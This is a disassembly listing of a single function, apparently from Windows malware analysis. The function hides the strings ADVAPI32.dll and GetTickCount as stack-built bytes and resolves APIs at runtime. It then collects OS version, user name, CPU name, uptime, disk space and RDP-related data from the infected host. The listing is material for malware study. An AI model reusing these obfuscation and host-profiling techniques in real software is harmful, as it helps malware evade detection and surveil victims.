Function at 0x40e19a
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
and byte [ebp - 8], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
lea eax, [ebp - 0x14]
push str.RegOpenKeyExA
push eax
mov byte [ebp - 0x14], 0x41
mov byte [ebp - 0x13], 0x44
mov byte [ebp - 0x12], 0x56
mov byte [ebp - 0x11], 0x41
mov byte [ebp - 0x10], 0x50
mov byte [ebp - 0xf], 0x49
mov byte [ebp - 0xe], 0x33
mov byte [ebp - 0xd], 0x32
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6c
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x14]
push str.RegCloseKey
push eax
call esi
push eax
call edi
and byte [ebp - 0x18], 0
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x24]
mov ebx, str.KERNEL32.dll
push eax
push ebx
mov byte [ebp - 0x24], 0x47
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x54
mov byte [ebp - 0x20], 0x69
mov byte [ebp - 0x1f], 0x63
mov byte [ebp - 0x1e], 0x6b
mov byte [ebp - 0x1d], 0x43
mov byte [ebp - 0x1c], 0x6f
mov byte [ebp - 0x1b], 0x75
mov byte [ebp - 0x1a], 0x6e
mov byte [ebp - 0x19], 0x74
call esi
push eax
call edi
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x14]
push str.RegQueryValueExA
push eax
call esi
push eax
call edi
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x14]
push str.GetUserNameA
push eax
call esi
push eax
call edi
push str.GetVersionExA
push ebx
mov dword [ebp - 0x4c], eax
call esi
push eax
call edi
push str.GetDriveTypeA
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
push str.GetDiskFreeSpaceExA
mov dword [ebp - 0x3c], eax
push ebx
call esi
push eax
call edi
mov ebx, dword [ebp + 8]
push 0x190
push 0
push ebx
mov dword [ebp - 0x40], eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x108]
xor esi, esi
mov dword [ebp - 0x108], 0x9c
push eax
call dword [ebp - 4]
cmp dword [ebp - 0x104], 4
ja 0x40e2d1
mov esi, 0x41c638
cmp dword [ebp - 0x104], 5
mov eax, dword [ebp - 0x100]
jne 0x40e2fd
test eax, eax
jne 0x40e2e9
mov esi, str.2000
cmp eax, 1
jne 0x40e2f3
mov esi, 0x41c634
cmp eax, 2
jne 0x40e319
mov esi, str.2003
cmp dword [ebp - 0x104], 6
jne 0x40e319
test eax, eax
jne 0x40e30f
mov esi, str.2008
cmp eax, 1
jne 0x40e319
mov esi, 0x41bdb4
movzx eax, word [ebp - 0x74]
push eax
push esi
push str.Windows__s_SP_d
push ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov esi, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
lea edi, [ebp - 0x20c]
xor eax, eax
push 0xc
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x35
lea edi, [ebp - 0x1dc]
pop ecx
xor esi, esi
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], esi
push eax
push 0xf003f
lea eax, [ebp - 0x20c]
push esi
push eax
push connect
call dword [ebp - 0x2c]
test eax, eax
jne 0x40e394
lea eax, [ebp + 8]
mov dword [ebp + 8], 0x80
push eax
lea eax, [ebx + 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
push esi
push str.ProcessorNameString
push dword [ebp - 0x28]
call dword [ebp - 0x48]
push dword [ebp - 0x28]
call dword [ebp - 0x54]
jmp 0x40e3a4
lea eax, [ebx + 0x20]
push str.Find_CPU_infomation_error
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
call dword [ebp - 0x50]
mov ecx, 0x5265c00
xor edx, edx
mov edi, ecx
mov esi, eax
div edi
xor edx, edx
mov dword [ebp + 8], eax
mov eax, esi
div ecx
mov ecx, 0x36ee80
mov edi, ecx
mov esi, edx
xor edx, edx
mov eax, esi
div edi
mov edi, 0xea60
mov eax, edx
xor edx, edx
div edi
xor edx, edx
push eax
mov eax, esi
div ecx
push eax
lea eax, [ebx + 0xa0]
push dword [ebp + 8]
push 0x41c5b0
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
call fcn.0040dc30
push eax
lea eax, [ebx + 0xc0]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x1c
lea eax, [ebp - 0x44]
push 0x20
pop edi
push eax
lea eax, [ebx + 0x140]
push eax
mov dword [ebp - 0x44], edi
call dword [ebp - 0x4c]
call fcn.0040e128
mov esi, dword [sym.imp.MSVCRT.dll_atol]
push eax
call esi
mov dword [ebx + 0x180], eax
call fcn.0040e026
push eax
call esi
pop ecx
xor esi, esi
pop ecx
mov dword [ebx + 0x184], eax
mov dword [ebp - 4], esi
mov dword [ebp + 8], esi
mov al, byte [ebp + 8]
and byte [ebp - 0x35], 0
add al, 0x42
mov byte [ebp - 0x37], 0x3a
mov byte [ebp - 0x38], al
lea eax, [ebp - 0x38]
push eax
mov byte [ebp - 0x36], 0x5c
call dword [ebp - 0x3c]
cmp eax, 3
jne 0x40e49d
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [ebp - 0x40]
mov eax, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x58]
push 0x1e
pop ecx
call fcn.00415d20
mov edx, dword [ebp - 0x60]
push 0x1e
add esi, eax
mov eax, dword [ebp - 0x64]
pop ecx
call fcn.00415d20
add dword [ebp - 4], eax
inc dword [ebp + 8]
cmp dword [ebp + 8], 0x1a
jl 0x40e449
mov eax, dword [ebp - 4]
mov dword [ebx + 0x188], esi
mov dword [ebx + 0x18c], eax
add ebx, 0x160
push edi
push ebx
push str.RDP_Tcp
call fcn.0040e098
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret 4